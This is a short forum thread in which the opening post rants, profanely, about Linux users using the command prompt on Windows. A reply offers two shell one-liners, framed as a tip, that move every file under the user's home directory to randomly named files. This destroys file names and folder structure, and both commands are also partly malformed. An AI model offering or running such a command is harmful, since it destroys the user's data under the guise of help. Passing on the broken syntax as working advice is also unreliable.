linux users fail

when they use windows, why do they always try go to command prompt to do SIMPLEST THINGS AVAILABLE FROM BASIC GUI
IT FUCKING TAKES LONGER TIME TO OPEN THAT COMMAND PROMPT AND WRITE SHIT THERE THAN CLICK A MOTHERFUCKER BUTTON
i can not understand

>>11
I hope none of your filenames have spaces in them lmao.

find ~ -print0 | xargs -0 -n 1 -I '{}' mv '"{}"' ~/`head /dev/random/ -c 8`

Also, you could take it a step further and make nicer filenames via

file ~ -print0 | xargs -0 -n 1 -I '{}' mv '"{}"' ~/`cat /dev/random | tr -Cu -d '[:alnum:]' | head -c 8`

but maybe that defeats the point?